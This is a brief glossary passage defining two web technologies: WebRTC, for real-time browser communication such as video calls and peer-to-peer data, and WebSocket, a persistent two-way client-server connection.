- WebRTC: browser features for real-time communication such as video calls and peer-to-peer data.
- WebSocket: a two-way connection that stays open between a client and a server.